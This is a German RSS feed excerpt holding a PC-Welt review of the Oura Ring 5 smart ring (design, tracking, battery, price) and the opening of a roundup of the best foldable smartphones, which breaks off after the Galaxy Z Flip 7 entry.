<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.02.png?w=1024" alt="Oura Ring 5" class="wp-image-4197758" width="1024" height="582" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<h2 class="wp-block-heading">Auf einen Blick</h2>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Unglaublich schlank und leicht</li>



<li>Verbesserte Akkulaufzeit</li>



<li>Verarbeitungsqualität und Farbauswahl</li>



<li>Die Begleit-App ist nach wie vor die beste</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>leichte Preiserhöhung</li>



<li>Erfordert ein Abonnement</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p class="wp-block-paragraph">Der Oura Ring 5 ist der eleganteste und unauffälligste Smart-Ring, den Sie tragen können, und wird von einer der besten Begleit-Apps der Branche unterstützt. Für diejenigen, die mit dem Aussehen und der Haptik des nach wie vor großartigen Oura Ring 4 zufrieden sind, ist er aber kein unbedingt notwendiges Upgrade.</p>



<p class="wp-block-paragraph">Der Oura Ring 5 ist ein überraschendes Update des besten Smart-Rings auf dem Markt. Alle Gerüchte deuteten auf einen Release gegen Ende 2027 hin, doch Oura überraschte alle, indem das Unternehmen sein neues Modell über ein Jahr früher auf den Markt brachte.</p>



<p class="wp-block-paragraph">Für den Ring 5 ist das Ziel klar: die Hardware des Smart-Rings noch kleiner zu gestalten, ohne dabei Kompromisse bei der Leistung – einschließlich der Akkulaufzeit – einzugehen.</p>



<p class="wp-block-paragraph">Ich bin seit Langem Nutzer des Oura-Rings und habe auch so gut wie alle seine Konkurrenten getestet. Hat der Oura Ring 5 mehr zu bieten als nur ein kleineres Design? Um das herauszufinden, trage ich ihn nun seit fast einem Monat.</p>



<h2 class="wp-block-heading">Design &amp; Verarbeitung</h2>



<ul class="wp-block-list">
<li>40 Prozent kleineres Design</li>



<li>Mit einer kratzfesteren Beschichtung</li>



<li>In 6 Farben erhältlich</li>
</ul>



<p class="wp-block-paragraph">Die wichtigste Neuigkeit ist, dass der Oura Ring 5 kleiner ist als <a href="https://www.pcwelt.de/article/2618869/oura-ring-4-im-test.html" target="_blank">der Oura Ring 4</a>. Er ist um 40 Prozent kleiner – das ist also nicht nur eine geringfügige Verkleinerung, und der Unterschied ist noch deutlicher, wenn man ihn mit dem klobigen <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">Oura Ring 4 Ceramic Edition</a> vergleicht.</p>



<p class="wp-block-paragraph">Kleiner bedeutet auch leichter: Das Gewicht ist von 3,3–5,2 Gramm (je nach benötigter Größe) auf nur noch 2 Gramm beim leichtesten Ring 5 gesunken. Die Breite hat sich von 7,9 Millimetern auf 6,09 Millimeter verringert, der Ring ist also schon einmal schlanker.</p>



<p class="wp-block-paragraph">Ich habe den Ring 5 neben die Standard- und Keramik-Versionen des Oura Ring 4 sowie eine Reihe anderer Smart-Ringe gelegt. Sie können sofort erkennen, wie sehr der Ring 5 an der Hand weniger auffällt als frühere Modelle und die Konkurrenzprodukte.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.11.png?w=1024" alt="Oura Ring 5" class="wp-image-4197759" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Trotz der deutlich geringeren Dicke blieb meine Ringgröße dieselbe wie bei den bisherigen Oura-Modellen. Ich konnte dennoch eine gute Passform erzielen, sodass der Ring nicht zu sehr am Finger hin- und herrutschte.</p>



<p class="wp-block-paragraph">Der Ring besteht nach wie vor aus Titan, sodass Sie ein Produkt erhalten, das leicht und dennoch strapazierfähig ist. Derzeit ist nur ein Titanmodell erhältlich, sodass diejenigen, die auf einen Oura Ring 5 in Keramik hoffen, vorerst leer ausgehen – allerdings könnte ein solches Modell in Zukunft auf den Markt kommen.</p>



<p class="wp-block-paragraph">Oura gibt an, eine härtere PVD-Beschichtung zu verwenden, um die Kratzfestigkeit des Rings zu verbessern. Ich trage ihn nun seit einigen Wochen, und obwohl er nicht gänzlich immun gegen Kratzer ist, weist er noch keine nennenswerten Spuren davon auf. Der Ring 4 aus Keramik ist nach wie vor die beste Wahl, um Kratzer zu vermeiden.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.15.png?w=1024" alt="Oura Ring 5" class="wp-image-4197760" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Was Farben und Größen angeht, stehen sechs Farben zur Auswahl. Ich habe die Ausführung in gebürstetem Silber getestet, die einen dezenteren Silber-Look aufweist als der bisherige silberne Oura Ring. Meiner Meinung nach verleiht dies dem Ring ein zurückhaltendes und dennoch sehr elegantes Aussehen.<br></p>



<p class="wp-block-paragraph">Zu den weiteren Farben gehören Schwarz und Silber (die günstigere Option darstellen) sowie Gold, Stealth (mattschwarz) und das brandneue „Deep Rose“, das einen leicht kupferfarbenen Schimmer aufweist. Die Größen reichen von 6 bis 13, was eine Abweichung gegenüber den für den Ring 4 verfügbaren Größen darstellt.</p>



<p class="wp-block-paragraph">Wie bei den Vorgängermodellen können Sie ein kostenloses Größenbestimmungsset bestellen, um sicherzustellen, dass Sie die optimale Passform für die Datenerfassung erhalten.</p>



<p class="wp-block-paragraph">Während Oura für den Ring 4 ein Ladecase eingeführt hat, wird der Ring 5 weiterhin nur mit dem Ladegerät im Dock-Stil ausgeliefert. Das Ladecase ist die zusätzlichen <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">109 Euro</a> durchaus wert, da Sie das Gerät damit bis zu fünf Mal aufladen können, egal wo Sie sich gerade befinden – allerdings muss es sich um das neue Modell und die richtige Größe für Ihren Ring handeln.</p>



<h2 class="wp-block-heading">Fitness &amp; Tracking</h2>



<ul class="wp-block-list">
<li>Erfasst dieselben Messwerte wie der Oura Ring 4</li>



<li>Überarbeitete Sensoren zur Verbesserung der Erfassungsgenauigkeit</li>



<li>Für den vollen Zugriff auf die App ist ein Abonnement erforderlich</li>
</ul>



<p class="wp-block-paragraph">Im Kern haben sich die Hardware des Ring 5 und die Funktionen zur Überwachung Ihrer Messwerte nicht wesentlich verändert. Im Inneren des Rings befinden sich zwei Fotodetektoren, zwei Sätze mit je drei LEDs, ein Temperatursensor sowie ein Beschleunigungsmesser zur Erfassung von Bewegungen und zur Erkennung von Schlafphasen.</p>



<p class="wp-block-paragraph">All dies ermöglicht es dem Ring 5, Daten wie Schritte, Bewegung, Herzfrequenz, Schlaf, Stress sowie die für Oura zentralen Kennzahlen zu Bereitschaft und Belastbarkeit zu messen. Diese Sensoren wurden überarbeitet, um die Genauigkeit im Vergleich zum Ring 4 in einigen Bereichen zu verbessern.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.02.png?w=1024" alt="Oura Ring 5" class="wp-image-4197758" width="1024" height="582" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Die Daten werden in der Oura-Begleit-App gespeichert, die nach wie vor als Marktführer unter den Smart-Ringen gilt. Vor allem wenn es darum geht, eine wachsende Menge an Daten und Erkenntnissen auf ansprechende Weise darzustellen.</p>



<p class="wp-block-paragraph">Auf einige Funktionen können Sie kostenlos zugreifen, doch um den Besitz des Geräts lohnenswert zu machen, müssen Sie weiterhin das Monats- oder Jahresabonnement bezahlen.</p>



<p class="wp-block-paragraph">Zudem bietet die App nützliche Integrationen, darunter Strava, Headspace und Clue. Diese helfen dabei, die Lücken bei den Funktionen zu schließen, die der Oura nicht bieten kann – was keine besondere Stärke des Oura-Ökosystems ist.</p>



<p class="wp-block-paragraph">Auf dem Hauptbildschirm „Today“ erhalten Sie Updates zu Ihren täglichen Bereitschaftswerten oder eine Erinnerung daran, wann Sie sich auf das Zubettgehen vorbereiten sollten. Klicken Sie auf das Dropdown-Menü, und es gibt noch viel mehr zu entdecken. Etwa das Protokollieren von Mahlzeiten oder die Nutzung des Symptom-Radars.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.45.png?w=1024" alt="Oura Ring 5" class="wp-image-4197761" width="1024" height="561" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Neue Softwarefunktionen wie „Health Radar“ werden zunächst für Nutzer in den USA eingeführt. Diese Funktion baut auf dem „Symptom Radar“ von Oura auf, um frühe Anzeichen einer Erkrankung zu erkennen. Auch Blutdrucksignale werden in bestimmten Regionen eingeführt. Zwar können Sie mit Ihrem Oura-Ring keinen Blutdruck messen, doch das Gerät verfolgt Trends in Ihren kardiovaskulären Mustern anhand der Daten, die seine optischen Sensoren während der Nacht erfassen.</p>



<p class="wp-block-paragraph">Diese Softwarefunktionen werden sowohl Nutzern des Oura Ring 5 als auch des Oura Ring 4 angeboten, sodass bestehende Besitzer in dieser Hinsicht möglicherweise keinen Anlass für ein Upgrade sehen.</p>



<p class="wp-block-paragraph">Bei der Erfassung der täglichen Schritte leistet der Oura solide Arbeit. Ich habe ihn tagsüber zusammen mit zwei anderen Trackern getragen, und die täglichen Schrittzahlen lagen an den meisten Tagen sehr nahe beieinander.</p>



<p class="wp-block-paragraph">Was die verbesserte Herzfrequenzmessung angeht, sollten Sie eine leichte Verbesserung bei der Trainingsherzfrequenz sowie bei der erholungsbasierten Erfassung während der Schlafüberwachung feststellen.</p>



<p class="wp-block-paragraph">Betrachtet man die Herzfrequenz, so entsprachen die Werte während des Schlafs der zuverlässigen Schlaffrequenzmessung eines Garmin-Geräts und eines weiteren Smart-Rings, den ich parallel dazu trug. Ähnlich verhielt es sich bei den Tagesdurchschnittswerten.</p>



<p class="wp-block-paragraph">Was die Herzfrequenzmessung während des Trainings angeht, <a href="https://www.pcwelt.de/article/3127913/smartwatch-vs-smart-ring-unterschiede-vorteile.html" target="_blank">so war dies schon immer ein Problem für Smart-Ringe im Allgemeinen</a> und nicht nur für Oura. Ganz einfach, weil der Ring dazu neigt, sich zu verschieben, wenn man schwitzt und sich bewegt. Ich würde dennoch sagen, dass die Herzfrequenzmessung während des Trainings keine Stärke von Oura ist.</p>



<p class="wp-block-paragraph">Es wurde jedoch eine Lösung entwickelt, um die Situation zu verbessern. Nun können Sie die Live-Herzfrequenzdaten von einem anderen Wearable teilen. Das bedeutet natürlich, dass Sie ein weiteres Gerät besitzen müssen, aber wenn Sie bereits eines haben, können Sie so an diese besseren Trainingsdaten gelangen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.08.57.png?w=1024" alt="Oura Ring 5" class="wp-image-4197762" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Dann ist da noch der Schlaf, der seit jeher zu den Stärken von Oura zählt. Das liegt nicht nur daran, dass es ein sehr bequemer Ring ist, den man mit ins Bett nehmen kann – was beim Ring 5 sogar noch mehr der Fall ist.</p>



<p class="wp-block-paragraph">Neben den Schlafwerten erhalten Sie Schlafzusammenfassungen, eine detailliertere Aufschlüsselung des Schlafs sowie Kernkennzahlen wie Schlafphasen und Schlafdauer.</p>



<p class="wp-block-paragraph">Diese Einblicke waren sehr aussagekräftig, insbesondere hinsichtlich der Erfassung des Zeitpunkts, zu dem ich eingeschlafen bin, sowie der angezeigten Zeiten, die ich in der REM-Phase und im Tiefschlaf verbracht habe. Oura zeigt Ihnen zudem, wie gut Sie dabei sind, Ihren Schlafmangel aufzuholen, und inwieweit Sie im Einklang mit Ihrer natürlichen inneren Uhr sind.</p>



<p class="wp-block-paragraph">Viele dieser Kennzahlen bilden die Grundlage für die wichtigsten Erkenntnisse von Oura zu Bereitschaft und Belastbarkeit. Ersteres wurde von anderen Herstellern von Wearables unter ähnlichen oder anderen Namen übernommen.</p>



<p class="wp-block-paragraph">Die „Readiness“-Funktion soll Ihnen ganz einfach anzeigen, ob Sie genug Energie haben, um einen anstrengenden Tag zu bewältigen. Ich habe die „Readiness“-Werte mit ähnlichen Auswertungen von Garmin und Ultrahuman verglichen, und diese lagen nur wenige Punkte von den Oura-Werten ab.</p>



<p class="wp-block-paragraph">Die Erkenntnisse zur Belastbarkeit beziehen sich auf das Verständnis Ihrer Fähigkeit, sich von körperlich anstrengenden oder stressigen Phasen Ihrer Woche zu erholen. Dabei werden Ihre Erholung während der Nacht und des Tages sowie Ihre Stressbelastung im Laufe des Tages berücksichtigt.</p>



<p class="wp-block-paragraph">Sie erfahren dann, ob Sie eine hohe Belastbarkeit gegenüber diesen Faktoren aufweisen oder Schwierigkeiten haben, sich wieder zu erholen.</p>



<p class="wp-block-paragraph">Sie erhalten zusätzliche Anleitungen sowie Hinweise, die Ihnen helfen, diese stressige Phase Ihrer Woche zu bewältigen. Ich finde, dass sich die Erkenntnisse zur Bereitschaft leichter in die Praxis umsetzen lassen als die zur Belastbarkeit. Wenn Sie sich mehr auf Stress konzentrieren, ist diese Funktion eher auf Sie zugeschnitten.</p>



<h2 class="wp-block-heading">Akkulaufzeit &amp; Aufladen</h2>



<ul class="wp-block-list">
<li>Bis zu 9 Tage Akkulaufzeit</li>



<li>Vollständige Aufladung in 80 Minuten</li>



<li>Optionales Ladecase erhältlich</li>
</ul>



<p class="wp-block-paragraph">Trotz der geringeren Größe gibt Oura an, dass die Akkulaufzeit des Ring 5 nicht beeinträchtigt wird. Demnach hält der Ring 5 zwischen 6 und 9 Tagen durch. Dies steht im Gegensatz zu den für den Oura Ring 4 angegebenen 5 bis 8 Tagen – sie wurde also leicht verbessert.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.09.04.png?w=1024" alt="Oura Ring 5" class="wp-image-4197763" width="1024" height="574" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mike Sawh</p></div>



<p class="wp-block-paragraph">Oura gibt an, das Design überarbeitet und die Akkuleistung mithilfe von Software optimiert zu haben. Ähnlich wie bei den Vorgängermodellen hält dieser Ring eine Woche lang durch, sofern Sie die energieintensivere Blutsauerstoffmessung nicht nutzen.</p>



<p class="wp-block-paragraph">Was die Frage angeht, ob dies die beste Akkulaufzeit unter den derzeit erhältlichen Smart-Ringen ist: Sie reicht noch nicht ganz an die Spitzenwerte heran. Sowohl <a href="https://www.pcwelt.de/article/3063223/ringconn-gen-2-test.html" target="_blank">der RingConn Gen 2</a> als auch die neuesten Ringe von Ultrahuman halten länger, doch der Ring 5 dürfte für die meisten Nutzer ausreichend lange durchhalten.</p>



<p class="wp-block-paragraph">Das Aufladen des Rings erfolgt nach wie vor auf die gleiche Weise. Es handelt sich um dieselbe Art von Ladestation, bei der es über eine Stunde dauern kann, bis der Akku von 0 auf 100 Prozent aufgeladen ist. Wenn Sie eine bequemere und reisefreundlichere Möglichkeit zum Aufladen des Ring 5 wünschen, müssen Sie mehr für das Ladeetui ausgeben, das – genau wie der Ring – <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">mit 109 Euro</a> nicht gerade günstig ist.</p>



<h2 class="wp-block-heading">Preis &amp; Verfügbarkeit</h2>



<p class="wp-block-paragraph">Der Preis für den Oura Ring 5 beginnt bei 429 Euro und kann je nach Ausführung bis zu 529 Euro betragen. Das ist eine Preiserhöhung um 20 Euro gegenüber dem Oura Ring 4, ohne das zusätzliche Abonnement für 5,99 Euro pro Monat oder 69,99 Euro pro Jahr.</p>



<p class="wp-block-paragraph">Damit gehört er zu den teuersten Smart-Ringen auf dem Markt, sodass die Kaufentscheidung nicht ganz so einfach fällt. Vor allem, wenn es mittlerweile auch Modelle ohne Display gibt, wie den <a href="https://www.pcwelt.de/article/3151671/google-fitbit-air-test.html" target="_blank">Fitbit Air</a> für 100 Euro, falls Sie sich nicht unbedingt für einen Ring entscheiden möchten.</p>



<p class="wp-block-paragraph">Er ist jedoch nicht so teuer wie der Ultrahuman Ring Pro und der RingConn Gen 2. Bei diesen Ringen ist jedoch kein Abonnement erforderlich, um auf alle verfügbaren Funktionen zugreifen zu können. Das gilt auch für den <a href="https://www.pcwelt.de/article/3062918/samsung-galaxy-ring-test.html" target="_blank">Samsung Galaxy Ring</a> für 449 Euro.</p>



<p class="wp-block-paragraph">Sie können den Oura Ring 5 im <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">offiziellen Shop</a> sowie bei Anbietern wie <a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html#" target="_blank">Amazon</a> erwerben. Sehen Sie sich unsere Liste der <a href="https://www.pcwelt.de/article/3063681/bester-smart-ring-test.html" target="_blank">besten Smart-Ringe</a> an, um unsere vollständigen Empfehlungen zu erhalten.</p>



<h2 class="wp-block-heading">Sollten Sie den Oura Ring 5 kaufen?</h2>



<p class="wp-block-paragraph">Wenn Sie bereits einen Oura Ring 4 besitzen und mit der Größe sowie dem Aussehen und der Leistung – ob aus Keramik oder in der Standardausführung – zufrieden sind, dann benötigen Sie den Oura Ring 5 wahrscheinlich nicht. Zumal die neuen Softwarefunktionen auch für den Ring 4 verfügbar sein werden.</p>



<p class="wp-block-paragraph">Wenn Sie auf einen kleineren, unauffälligeren Oura gewartet haben, dann ist der Ring 5 genau das Richtige für Sie. Dazu erhalten Sie Zugriff auf dieselben Funktionen und möglicherweise eine längere Akkulaufzeit (sofern Sie mit den Abonnementkosten einverstanden sind).</p>



<p class="wp-block-paragraph">Das Hardware- und Software-Paket macht den Oura Ring nach wie vor zum Maßstab, den es zu übertreffen gilt. Zwar haben Anbieter wie Ultrahuman und Newcomer wie <a href="https://www.pcwelt.de/article/3110713/leep-ring-test.html" target="_blank">der Leep Ring 1</a> gezeigt, dass es auch außerhalb von Oura hervorragende Software gibt. Doch dieser sieht einfach nicht so stilvoll aus, was durchaus wichtig bei einem Smart Ring ist.</p>



<p class="wp-block-paragraph">Ich habe die Nutzung des Oura Ring 5 genossen und glaube, dass das neue, kleinere Design wahrscheinlich mehr Menschen dazu bewegen wird, trotz des Abonnements einen Smart-Ring zu kaufen. Ich wäre aber auch zufrieden damit, wieder zu meinem Oura Ring 4 aus Keramik zurückzukehren. Das zeigt einfach, dass Oura nun zwei starke Ring-Optionen im Angebot hat, bei denen man nicht das Gefühl hat, wichtige Software-Updates zu verpassen, wenn man weniger ausgibt.</p>



<h2 class="wp-block-heading">Technische Daten</h2>



<ul class="wp-block-list">
<li>bis zu 9 Tage Akkulaufzeit</li>



<li>kompatibel mit Android und iOS</li>



<li>2,28 mm dick</li>



<li>ab 2 g Gewicht</li>



<li>wasserdicht bis zu 100 Metern</li>



<li>erfasst den Blutsauerstoffgehalt, die Herzfrequenz, die Körpertemperatur, den Schlaf und die tägliche Aktivität</li>



<li>erfordert ein monatliches oder jährliches Abonnement</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html" data-type="link" data-id="https://www.pcwelt.de/article/3179739/oura-ring-5-test-review.html" target="_blank">PC-Welt</a>)</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die besten faltbaren Smartphones im Test]]></title>
<description><![CDATA[Thomas Deehan / Foundry



Klassische Smartphones mit starrem Gehäuse bleiben praktisch, doch Foldables spielen in vielen Situationen inzwischen in einer eigenen Liga. Sie bieten ein großes Display zum Aufklappen, passen aber weiterhin in die Tasche – ideal für Multitasking, produktives Arbeiten,...]]></description>
<link>https://tsecurity.de/de/3677422/it-security-nachrichten/die-besten-faltbaren-smartphones-im-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677422/it-security-nachrichten/die-besten-faltbaren-smartphones-im-test/</guid>
<pubDate>Sat, 18 Jul 2026 06:07:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-13.50.59.png?w=1024" alt="Die besten faltbaren Smartphones" class="wp-image-4197805" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<p class="wp-block-paragraph">Klassische Smartphones mit starrem Gehäuse bleiben praktisch, doch Foldables spielen in vielen Situationen inzwischen in einer eigenen Liga. Sie bieten ein großes Display zum Aufklappen, passen aber weiterhin in die Tasche – ideal für Multitasking, produktives Arbeiten, Videos, Gaming oder besonders flexible Kamera-Perspektiven.</p>



<p class="wp-block-paragraph">Auch technisch haben faltbare Smartphones deutlich aufgeholt: Die Scharniere sind robuster, die Gehäuse widerstandsfähiger und die Displays alltagstauglicher als bei den ersten Generationen. Wer heute ein Fold- oder Flip-Smartphone kauft, entscheidet sich nicht mehr nur für ein futuristisches Gadget, sondern für eine ernsthafte Smartphone-Alternative. Diese Übersicht zeigt, welche Modelle sich wirklich lohnen und welches Foldable am besten zu Ihren Anforderungen passt.</p>



<h2 class="wp-block-heading">Motorola Razr Fold: Bestes faltbares Smartphone</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.30.36.png?w=1024" alt="Motorola Razr Fold" class="wp-image-4197831" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Motorola Razr Fold mögen</h3>



<p class="wp-block-paragraph">Das Motorola Razr Fold gehört zu den wenigen Buch-Foldables, die sich auch als Hauptgerät nutzen lassen. Verantwortlich dafür sind die abgerundeten Kanten und die griffigen Materialien, die das Gewicht von 243 Gramm angenehm in der Hand verteilen. Das Scharnier ist sauber gespannt und öffnet sich ohne Mühe. Beide Displays überzeugen: außen ein 6,56-Zoll-pOLED mit 165 Hertz, innen ein 8,09-Zoll-Panel mit 2K-Auflösung und nur dezenter Falte. Laut Hersteller erreichen die Bildschirme Spitzenwerte von über 6.000 Nits. Im Test liefern sie ein scharfes, farbtreues Bild. Das Dreifach-50-Megapixel-Kamerasystem macht in fast allen Situationen ansprechende Fotos mit kräftigem Kontrast und weichem Bokeh. Der 6.000-mAh-Akku bringt Sie durch einen normalen Tag und lädt mit bis zu 80 Watt per Kabel sowie 50 Watt kabellos. Dazu gibt es sieben Jahre Android-Updates und den mitgelieferten Moto Pen Ultra.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Leicht ist das Razr Fold nicht: Mit 9,89 Millimetern im geschlossenen Zustand fällt es etwas dicker und schwerer aus als der Samsung-Konkurrent. Der Moto Pen Ultra liegt zwar bei, benötigt aber eine klobige Ladehülle, die niemand gern mitschleppt. Beim Chip setzt Motorola auf den älteren Snapdragon 8 Gen 5, was bei diesem Preis ein Wermutstropfen ist. Hinzu kommen vorinstallierte Drittanbieter-Apps und ein unübersichtliches KI-Angebot.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/3168239/motorola-razr-fold-test.html" target="_blank">Motorola Razr Fold Test</a></p>



<h2 class="wp-block-heading">Samsung Galaxy Z Fold 7: Bestes faltbares Galaxy-Smartphone</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.30.57.png?w=1024" alt="Samsung Galaxy Z Fold 7" class="wp-image-4197833" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Samsung Galaxy Z Fold 7 mögen</h3>



<p class="wp-block-paragraph">Das Samsung Galaxy Z Fold 7 ist eines der schlanksten Buch-Foldables auf dem Markt. Mit nur 4,2 Millimetern im aufgeklappten Zustand und 215 Gramm fühlt es sich kaum noch wie ein Falt-Smartphone an. Es ist 26 Prozent schlanker als der Vorgänger und wiegt weniger als manches klassische Flaggschiff. Trotzdem sind beide Displays gewachsen: außen 6,5 Zoll im 21:9-Format, innen ein riesiges 8-Zoll-Panel. Beide bieten 120 Hertz und laut Hersteller bis zu 2.600 Nits. Die Falte fällt im Alltag kaum noch auf. Bei den Kameras liegt der größte Sprung beim 200-Megapixel-Hauptsensor des S25 Ultra, der für scharfe, kräftige Fotos sorgt. Das Ultraweitwinkel besitzt nun einen Autofokus und taugt damit auch für Makros. One UI 8 auf Android-16-Basis läuft schnell und zuverlässig. Dazu kommen sieben Jahre Updates und ein breites Galaxy-AI-Angebot. Das Z Fold 7 ist damit das stärkste faltbare Smartphone im Buch-Format.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Beim Akku bleibt Samsung beim bekannten 4.400-mAh-Modul, das nur mit 25 Watt per Kabel und 15 Watt kabellos lädt – chinesische Konkurrenten sind hier deutlich weiter voraus. Der S-Pen-Support entfällt komplett, da der Digitizer fehlt. Beim Spielen drosselt das schlanke Gehäuse die Leistung spürbar, im 3DMark-Stresstest sank die Stabilität auf bis zu 22 Prozent. Auch die Displayhelligkeit sinkt bei Wärme früher als bei vielen Rivalen. Der Listenpreis von rund 2.099 Euro bleibt happig.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2843601/samsung-galaxy-z-fold-7-test.html" target="_blank">Samsung Galaxy Z Fold 7 Test</a></p>



<h2 class="wp-block-heading">Samsung Galaxy Z Flip 7: Bestes Klapp-Smartphone</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.31.06.png?w=1024" alt="Samsung Galaxy Z Flip 7" class="wp-image-4197834" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Samsung Galaxy Z Flip 7 mögen</h3>



<p class="wp-block-paragraph">Das Samsung Galaxy Z Flip 7 macht den größten Generationssprung seit dem Debüt der Reihe. Das Außendisplay wächst von 3,4 auf 4,1 Zoll, reicht fast bis zum Rand und löst mit 948 × 1.048 Pixeln scharf auf. Mit 120 Hertz und laut Hersteller bis zu 2.600 Nits ist es endlich flaggschiffwürdig. Das Innendisplay legt auf 6,9 Zoll zu und gehört zu den besten, die Sie aktuell finden. Der Falz bleibt im Betrieb unsichtbar. Das schlanke Gehäuse wiegt nur 188 Gramm und klappt komplett flach zusammen, das Aluminium-Scharnier wirkt robust und langlebig. Die 50-Megapixel-Hauptkamera liefert bei gutem Licht saubere, detailreiche Fotos mit gutem Dynamikumfang und eignet sich auch für Selfies. Im Alltag arbeitet der Exynos 2500 mit 12 GB RAM flüssig und bleibt dabei kühl. Dazu kommen One UI 8 auf Android 16, ein breites Galaxy-AI-Angebot und sieben Jahre Updates.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Beim Akku bleibt das Z Flip 7 mit 4.300 mAh hinter klassischen Smartphones zurück, die oft über 5.000 mAh bieten. Das Laden mit nur 25 Watt per Kabel ist nicht mehr zeitgemäß; eine volle Ladung dauert über 90 Minuten. Ein Teleobjektiv fehlt weiterhin, der digitale Zoom verliert schon ab zweifacher Vergrößerung sichtbar an Schärfe. Beim Gaming kommt es zu Rucklern und Hitzeentwicklung. Hinzu kommt vorinstallierte Bloatware. Der Listenpreis von 1.199 Euro bleibt happig.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2843699/samsung-galaxy-z-flip-7-test.html" target="_blank">Samsung Galaxy Z Flip 7 Test</a></p>



<h2 class="wp-block-heading">Motorola Razr 60 Ultra: Bestes Design</h2>


